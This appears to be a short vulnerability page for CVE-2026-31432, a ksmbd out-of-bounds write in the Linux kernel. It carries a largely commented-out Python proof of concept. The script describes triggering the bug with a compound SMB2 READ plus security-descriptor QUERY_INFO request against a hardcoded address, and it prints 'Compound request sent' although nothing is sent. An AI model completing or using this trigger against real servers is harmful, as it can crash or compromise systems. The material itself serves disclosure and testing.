CVE-2026-31432 Linux内核ksmbd越界写入漏洞

import socket from impacket import smb # Conceptual PoC for CVE-2026-31432 # This script demonstrates sending a compound request to trigger the OOB write. # Target: Linux Kernel with ksmbd enabled. def send_exploit(target_ip): print(f"[*] Attempting to connect to {target_ip}...") try: # 1. Establish SMB connection # client = smb.SMB(target_ip, target_ip) # client.login("user", "pass") # 2. Construct a compound request # Packet structure: [READ] + [QUERY_INFO(Security)] # The READ request should consume a large portion of the max buffer. # The QUERY_INFO request will attempt to build a large Security Descriptor. # read_req = build_smb2_read_request(offset=0, length=BUFFER_SIZE - SMALL_PADDING) # query_req = build_smb2_query_info_request(info_type=SECURITY) # compound_pkt = compound_request(read_req, query_req) # client.send(compound_pkt) print("[!] Compound request sent.") print("[!] If vulnerable, the kernel may crash due to OOB write.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit("192.168.1.10")